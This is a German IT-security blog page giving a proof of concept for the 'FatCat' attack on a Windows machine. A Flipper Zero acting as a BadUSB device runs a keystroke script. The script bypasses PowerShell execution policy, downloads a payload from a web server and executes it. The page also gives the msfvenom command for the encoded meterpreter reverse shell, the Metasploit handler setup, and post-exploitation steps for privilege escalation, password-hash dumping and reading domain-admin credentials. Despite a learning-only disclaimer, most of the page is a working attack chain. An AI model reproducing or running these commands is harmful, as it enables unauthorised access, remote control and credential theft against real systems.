FatCat Attack PoC

FatCat Attack PoC

In diesem PoC nutzen wir mehrere Sicherheitslücken, um uns volle Rechte über ein System zu sichern.

 _____     _    ____      _
|  ___|_ _| |_ / ___|__ _| |_
| |_ / _` | __| |   / _` | __|
|  _| (_| | |_| |__| (_| | |_
|_|  \__,_|\__|\____\__,_|\__|
Attack PoC



Beschreibung

Achtung!

Die Techniken und Methoden in diesem Artikel sind ausschließlich für Lernzwecke. Ein Missbrauch ist strafbar!1)

Zielsetzung soll sein, relevante SAM Daten aus der Registry abzuziehen. Hierzu wird der Flipper als BadUSB Device benutzt. Die PowerShell Execution Policy soll umgangen werden und mit einer Privilege Escalation die erforderlichen Rechte gesichert werden. Folgende Daten sollen exfiltriert werden:

User Passwort Hash
Host \ User
Host \ Admin
Domain \ Admin



Ablauf

  1. AV deaktivieren
  2. Payload erstellen
  3. handler starten
  4. BadUSB Angriff
  5. RemoteShell nutzen zum Erkunden
  6. Exploit suchen
  7. Exploit anwenden
  8. Creds einsammeln



Dokumentation

Attack Chain Step Attack Technique Attack Tool
Weaponization Exploit, Payload msfvenom2)
Delivery Physical access, Injection Flipper3), BadUSB4)
Bypass PowerShell Restrictions5)
Exploitation Reverse Shell Metasploit6)
Enumeration Enumerate System Info JAWS7), SessionGopher8), weak Service Permissions9), Primary Access Token Manipulation10), Unquoted Service Path 11), PassTheHash 12) 13), BetterSafetyKatz (Builds local, obfuscating not complete), Search for local Exploits14)
Privilege Escalation15) AlwaysInstallElevated 16)
Actions on Objectives Exfiltration Exfiltrate Data



Vorbereitungen und Angriff

Metasploit Payload

  • Metasploit starten
  • cmd öffnen
cmd
  • Payload generieren
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.77 LPORT=50666 -e x86/shikata_ga_nai -i 5 -f exe > msfpayload.exe
  • Shell verlassen
exit
  • Payload auf einem Webserver hinterlegen


Payload generieren


Metasploit Handler

  • Multi Handler Server starten
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.77
set LPORT 50666
exploit


Metasploit Handler konfigurieren und starten


Zugriff auf das Zielsystem

  • Mit dem Flipper, wird folgendes Script auf dem Zielsystem ausgeführt
WINDOWS r
DELAY 2000
STRING powershell.exe
DELAY 3000
ENTER
DELAY 5000
STRING Set-ExecutionPolicy Bypass -Scope Process -force
DELAY 3000
ENTER
DELAY 3000
STRING irm https://<DEIN-COOLER-WEBSERVER>/msfpayload.exe -OutFile msfpayload.exe
DELAY 3000
ENTER
DELAY 5000
STRING Start-Process msfpayload.exe
DELAY 3000
ENTER
DELAY 3000
STRING exit
DELAY 1500
ENTER


Flipper Attacke wird ausgeführt


Verbindung steht - Metasploit macht's

getsystem
hashdump
ls
getwd
cd c:
cd Glob_Share
ls
background
use post/multi/recon/local_exploit_suggester
sessions
set session 1
run
use exploit/windows/local/always_install_elevated
set session 1
exploit
cd glob_share
type Domain-Admin-Creds.txt
hashdump
sessions -i 1
Meterpreter Session hergestellt
automatisierte Exploit Suche für Privilege Escalation
Privilege Escalation erfolgreich
Hier sind unsere gesuchten Credentials

Diskussion

Geben Sie Ihren Kommentar ein:
137 +5 =
 
it-security/blog/fatcat_poc.txt · Zuletzt geändert: 2024/04/14 12:07
CC Attribution-Noncommercial-Share Alike 4.0 International